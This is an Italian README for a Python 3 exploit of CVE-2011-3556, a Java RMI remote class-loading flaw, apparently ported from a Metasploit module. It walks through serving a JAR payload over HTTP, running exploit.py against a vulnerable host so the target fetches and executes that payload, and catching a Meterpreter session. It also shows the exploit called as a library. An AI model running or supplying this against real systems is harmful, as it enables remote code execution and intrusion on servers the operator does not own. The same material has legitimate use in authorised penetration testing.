
Implementazione Python 3 di una prova di concetto (PoC) esistente per CVE-2011-3556.
Questo strumento è un'implementazione in Python 3 di una prova di concetto (PoC) esistente realizzata da mihi per il Metasploit Framework.
Per utilizzare il modulo, segui semplicemente le istruzioni qui sotto:
# Clone this repository locally.
$ git clone https://github.com/sk4la/cve_2011_3556.git && cd cve_2011_3556/
# Optionally set the `x` bit to be able to execute the script directly.
$ chmod u+x exploit.py
$ ./exploit.py --help && echo "It works!"
Per essere caricato remotamente dal server Java RMI vulnerabile, il payload (un binario JAR) deve essere servito come risorsa HTTP. Si può servirlo rapidamente usando il famoso python3 -m http.server.
Una volta che il payload è reso disponibile per il download, esegui semplicemente lo script exploit.py per attivare la vulnerabilità.
$ python3 -m http.server --bind DELIVERY_HOST DELIVERY_PORT &
$ ./exploit.py -h VULNERABLE_HOST -u http://DELIVERY_HOST:DELIVERY_PORT/PAYLOAD.jar`
Nel caso in cui il payload sia un Meterpreter (Metasploit Framework), non dimenticare di
use exploit/multi/handler.
Questo modulo può anche essere utilizzato come libreria importando il modulo cve_2011_3556 nel tuo namespace corrente:
from cve_2011_3556 import JavaRMIExploit
JavaRMIExploit("127.0.0.1", "http://127.0.0.1/payload.jar").exploit()
È così semplice!
Un ringraziamento speciale a mihi per l'implementazione iniziale del modulo del Metasploit Framework.